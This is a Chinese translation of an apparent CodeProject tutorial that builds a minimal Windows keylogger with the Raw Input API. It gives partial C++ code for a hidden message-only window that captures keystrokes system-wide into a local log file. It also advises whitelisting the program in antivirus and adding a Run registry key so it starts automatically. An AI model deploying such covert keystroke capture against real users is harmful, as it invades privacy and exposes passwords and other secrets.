最小密钥记录器使用 RAWINPUT






4.83/5 (25投票s)
一种替代钩子键盘记录的方法。
引言
文章的 WndProc 部分主要面向中级程序员;但是,我将尝试逐步解释代码,以便完全的初学者也能毫无问题地理解。
文中包含了许多参考超链接(主要来自 Microsoft),用于交叉参考主题内容。所有新手们,请随意试用这些代码,享受乐趣并学习。
键盘记录器是一个热门话题,例如,会产生这样的问题:它们道德吗?它们合法吗?嗯,本文不会深入探讨这些问题;我编写此代码是为了探索 Microsoft 提供的新型(最低 WinXP)原始输入模型,以了解它是如何工作的。
我希望本文能成为进一步讨论和探索功能丰富的 WM_INPUT
消息功能的起点。
大多数基于软件的键盘记录器都会挂钩键盘 Windows API;操作系统会在按键时通知键盘记录器,然后键盘记录器会记录下来。
诸如 GetForegroundWindow
、GetAsyncKeyState
等 API 经常用于订阅当前焦点窗口中的键盘事件。
这类键盘记录器由于对每个按键的持续轮询,可能会导致问题,它们会显著增加 CPU 使用率,并且有时还会漏掉按键。原始输入模型克服了这些缺点。
Microsoft 的说法
原始输入模型与键盘和鼠标的原始 Windows 输入模型不同。在原始输入模型中,应用程序以发送或发布到其窗口的消息(例如 WM_CHAR
、WM_MOUSEMOVE
和 WM_APPCOMMAND
)的形式接收与设备无关的输入。相比之下,对于原始输入,应用程序必须注册它想要获取数据的设备。此外,应用程序通过 WM_INPUT
消息获取原始输入。
原始输入模型有几个优点
- 应用程序无需检测或打开输入设备。
- 应用程序直接从设备获取数据,并根据需要处理数据。
- 即使输入来自同一类型的设备,应用程序也能区分输入的来源。例如,两个鼠标设备。
- 应用程序通过指定来自一组设备或仅特定设备类型的数据来管理数据流量。
- HID 设备可以在市场上一出现就立即使用,而无需等待新的消息类型或更新的操作系统在
WM_APPCOMMAND
中包含新命令。
背景
我在浏览 CodeProject 时偶然发现了原始输入模型,并阅读了 Emma Burrows 的一篇优秀文章《Using Raw Input from C# to handle multiple keyboards》(使用 C# 中的原始输入处理多个键盘),这激发了我搜索“Raw Input MSDN”,果然 Microsoft 在这里对其进行了很好的解释。
本文中我选择的语言基于我的经验。我曾专业使用 .NET 编程,但我个人在处理基础 Windows API 时选择 C、C++ 或 MASM32(因为我有设备驱动程序编程背景)。(旧习惯难以改掉),但是它也可以转换为您喜欢的语言,例如 Visual Basic 或 C#。
使用代码
WinMain,如果您熟悉此主题,请跳过此部分
用户基于 Windows 的应用程序的入口点是 WinMain
函数。
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow);
{ ...
hInstance
参数是此应用程序运行时句柄。
hPrevInstance
是此程序上一个实例的句柄,它始终为 NULL
,为了使代码简单,我选择不检测是否有上一个实例正在运行;但是,这样做无疑是件好事。
lpCmdLine
是指向应用程序以 null 结尾的命令行字符串的指针。我们在这里不使用它,但要看到它的实际效果,请打开命令提示符并输入 explorer /select,c:\windows\。这将打开 Windows 资源管理器到 Windows 目录。
nCmdShow
控制窗口的显示方式。这个值实际上是从操作系统传递过来的。要看到它的实际效果,请在桌面上创建记事本的快捷方式,然后右键单击它以调出属性并将“运行”从“正常窗口”更改为“最大化”。对于此应用程序,默认的 SW_SHOWNORMAL
(1) 会被传入。
创建隐形消息专用窗口,如何完成
接下来要考虑的是 WNDCLASS
结构,其成员设置窗口类属性。属性包括样式、背景颜色、图标、光标、菜单和窗口过程。
我们这里只设置了三个基本成员,因为我们正在创建一个隐形窗口。
wc.hInstance = hInstance; // from WinMain
wc.lpszClassName = L"kl"; // this can be renamed if you wish
wc.lpfnWndProc = WndProc; // a pointer to our function that processes window messages
RegisterClass
函数使用我们刚刚填充的 WNDCLASS
结构注册窗口类。
RegisterClass(&wc); // now that the class is registered we create the window
hWnd = CreateWindow(wc.lpszClassName,NULL,0,0,0,0,0,HWND_MESSAGE,NULL,hInstance,NULL);
我们只向 CreateWindow
传递了最基本的信息,即类名、我们的应用程序句柄和 HWND_MESSAGE
常量,以创建一个隐形的仅消息窗口。
消息循环,不需要 TranslateMessage
一般来说,Windows 程序本质上是消息处理程序;应用程序、操作系统和硬件都会生成 Windows 消息,应用程序监听并对其作出反应。GetMessage
函数调度传入的已发送消息,直到有已发布的消息可供检索。MSG
结构接收消息。下面的消息循环代码只会在 WM_QUIT
(0) 时退出,否则它会不断翻译和调度消息。
BOOL bRet;
while((bRet=GetMessage(&msg,hWnd,0,0))!=0){ // messages are passed into the MSG struct
if(bRet==-1){
return bRet;
}
else{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
TranslateMessage
通常将虚拟键消息转换为字符消息,这些消息会在下次通过循环时由 GetMessage
检索。在下面解释的原始输入设置的一部分中,我们抑制了 TranslateMessage
通常在循环中处理的消息。
在 WndProc 的 WM_CREATE 事件中注册接收原始数据的兴趣
DispatchMessage
将消息分派到我们最初在 WINDCLASS
结构中声明的窗口过程 (WndProc
)。
// WndProc is called when a window message is sent to the handle of the window
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{
switch(message){
...
与大多数可自由使用的窗口消息不同,Windows 应用程序默认情况下不会收到原始输入消息 WM_INPUT
;要接收它,我们必须首先使用 RegisterRawInputDevices
函数注册兴趣。第一个参数指向 RAWINPUTDEVICE
结构的数组。第二个参数设置结构的数量,在我们的例子中是 1。最后一个参数是结构的大小。
在 WM_CREATE
事件中,会创建一个日志文件并记录当前时间和日期。通过在 RAWINPUTDEVICE
结构中设置 RIDEV_INPUTSINK
标志,注册接收键盘原始输入的兴趣,这样我们就可以接收系统范围的按键,而不仅仅是焦点窗口中接收到的按键,在我们的例子中,焦点窗口本来就是不可见的。
此外,还设置了 RIDEV_NOLEGACY
标志,以便不会为消息循环生成 WM_KEYDOWN
事件和其他传统按键事件;我们如何以及从何处获取这些消息将在稍后的 WM_INPUT
部分中阐明。
case WM_CREATE:{
// create log file done here
..
// register interest in raw data here
rid.dwFlags=RIDEV_NOLEGACY|RIDEV_INPUTSINK;
rid.usUsagePage=1;
rid.usUsage=6;
rid.hwndTarget=hWnd;
RegisterRawInputDevices(&rid,1,sizeof(rid));
break;
}
RAWINPUTDEVICE usUsagePage 和 usUsage
usUsagePage
是设备类型的数值(下面是部分列表)。我们在这里使用 1,因为它代表“通用桌面控件”,涵盖了所有常见的输入设备。usUsage
值指定“通用桌面控件”组中的设备。
- 1 - 通用桌面控件 // 我们使用这个
- 2 - 模拟控件
- 3 - 虚拟现实 (VR)
- 4 - 运动
- 5 - 游戏
- 6 - 通用设备
- 7 - 键盘
- 8 - LED
- 9 - 按钮
当 usUsagePage
为 1 时 usUsage
的值
- 0 - 未定义
- 1 - 指针
- 2 - 鼠标
- 3 - 保留
- 4 - 操纵杆
- 5 - 游戏手柄
- 6 - 键盘 // 我们使用这个
- 7 - 小键盘
- 8 - 多轴控制器
- 9 - 平板电脑控件
WM_INPUT
收到 WM_INPUT
消息后,我们调用 GetRawInputData
。请注意,我们调用它两次,一次是为了确定缓冲区的大小,另一次是为了利用缓冲区。
case WM_INPUT:{
if(GetRawInputData((HRAWINPUT)lParam,
RID_INPUT,NULL,&dwSize,sizeof(RAWINPUTHEADER))==-1){
break;
}
LPBYTE lpb=new BYTE[dwSize];
if(lpb==NULL){
break;
}
if(GetRawInputData((HRAWINPUT)lParam,
RID_INPUT,lpb,&dwSize,sizeof(RAWINPUTHEADER))!=dwSize){
delete[] lpb;
break;
}
为了更全面地解释这一点,GetRawInputData
的第一个参数是指向来自设备的 RAWINPUT
结构体的句柄,其成员(由于 usUsagePage=1
和 usUsage=6
(键盘))是
keyboard.MakeCode
keyboard.Flags
keyboard.Reserved
keyboard.ExtraInformation
keyboard.Message
keyboard.VKey
此 RAWINPUT
句柄在 WM_INPUT
消息的 WndProc
lParam
中提供给我们。第二个参数我们设置为 RID_INPUT
以获取设备的原始数据,它也可以设置为 RID_HEADER
以获取数据头信息;但是,我们在此处不使用它。第三个参数是指向要使用的缓冲区的 void 指针。第四个参数是接收所需缓冲区大小的变量的地址。最后一个参数是 RAWINPUTHEADER
结构体的大小。
第一次调用时,我们将第三个参数设置为 NULL
,因为我们只关心获取需要创建的缓冲区的大小。在下一次调用时,我们将其设置为指向新创建的缓冲区本身。
WM_KEYDOWN
接下来,我们从 keyboard.VKey
获取虚拟键码并将其转换为字符,然后我们过滤 keyboard.Message
以查找 WM_KEYDOWN
消息,这样我们就不会重复记录按键。请注意,所有消息都从 keyboard.Message
中检索。
PRAWINPUT raw=(PRAWINPUT)lpb;
UINT Event;
StringCchPrintf(szOutput,
STRSAFE_MAX_CCH,TEXT(" Kbd: make=%04x Flags:%04x " +
"Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n"),
raw->data.keyboard.MakeCode,
raw->data.keyboard.Flags,
raw->data.keyboard.Reserved,
raw->data.keyboard.ExtraInformation,
raw->data.keyboard.Message,
raw->data.keyboard.VKey);
Event=raw->data.keyboard.Message;
keyChar=MapVirtualKey(raw->data.keyboard.VKey,MAPVK_VK_TO_CHAR);
delete[] lpb; // free this now
// read key once on keydown event only
if(Event==WM_KEYDOWN){
...
写入文件日志
最后,我们对退格键、制表符和回车符进行基本的过滤,并忽略所有“空格”以下和“~”以上的内容,这样日志文件就能反映实际输入的內容(例如从记事本中输入)。
if(keyChar<32){
if((keyChar!=8)&&(keyChar!=9)&&(keyChar!=13)){
break; // exit on all chars below space
} // except for backspace, tab and cr
}
if(keyChar>126){ // we don't want any chars above ~
break;
}
// open log file for writing
hFile=CreateFile(fName,
GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if(hFile==INVALID_HANDLE_VALUE){
break;
}
if(keyChar==8){ // handle backspaces
SetFilePointer(hFile,-1,NULL,FILE_END);
keyChar=0;
WriteFile(hFile,&keyChar,1,&fWritten,0);
CloseHandle(hFile);
break;
}
SetFilePointer(hFile,0,NULL,FILE_END);
if(keyChar==13){ // handle enter key
WriteFile(hFile,"\r\n",2,&fWritten,0);
CloseHandle(hFile);
break;
}
WriteFile(hFile,&keyChar,1,&fWritten,0); // handle all else
CloseHandle(hFile);
如何测试
LPCWSTR fName=L"c:/kl.log"; // change this to suit where you want your log file to reside.
构建并运行 kl.exe,然后打开记事本并输入一些内容,然后打开 kl.log 查看结果。
注释
日志文件中的所有记录条目均为大写,对此不作任何解释,请自行找出如何解决此问题。此代码是您研究的起点,请尽情享受,并向我提供您的建议或问题。
关注点
我的 Win 7 开发电脑上运行的是 Bit Defender Antivirus Plus 2012,值得称赞的是,它将此代码标记为可疑,我不得不将其列为例外允许运行。如果您的防病毒程序也遇到类似问题,请也允许它运行。
如果您希望此程序在启动时自动运行,请创建此注册表项“kl”(风险自负,我必须补充)。如果您不熟悉注册表编辑,请不要这样做。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kl
修改 kl 键为 C:\kl.exe(如果不是 C:,则为您的驱动器号)。
然后将 kl.exe 复制到您的根目录。
历史
这是我在 CodeProject 上的第一篇文章,希望您喜欢。
附注:如果您熟悉 MASM32,也请尝试一下。